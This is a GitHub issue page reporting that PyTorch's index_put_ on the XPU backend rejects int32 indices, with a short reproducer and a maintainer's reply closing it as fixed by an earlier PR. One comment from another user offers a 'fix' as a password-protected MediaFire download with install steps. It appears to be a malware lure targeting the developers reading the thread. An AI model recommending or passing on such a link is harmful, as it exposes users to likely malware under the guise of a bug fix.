Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug] IndexError: tensors used as indices must be long, byte or bool tensors #827

Closed
guangyey opened this issue Aug 27, 2024 · 2 comments
Closed
Assignees
Labels
bug Something isn't working
Milestone

Comments

@guangyey
Copy link
Contributor

🐛 Describe the bug

A reproducer for the behavior of index_put_ which is inconsistency with other backends.

import torch

input = torch.randn(4, 4, device="xpu")
index = torch.randint(4, (4,), device="xpu").int()
src = torch.randn(4, device="xpu")

torch.index_put_(input, (index, index), src, True)

The root cause is checkIndexTensorTypes. Please help check the behavior of other ops which also use checkIndexTensorTypes.

Versions

None

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@chuanqi129 chuanqi129 added this to the PT2.5 milestone Aug 27, 2024
@chuanqi129 chuanqi129 added the bug Something isn't working label Aug 27, 2024
@Stonepia
Copy link
Contributor

That issue should have been fixed in #597 .
It is because we formerly does not have the allow_int in checkIndexTensorType().

Close this as already fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

5 participants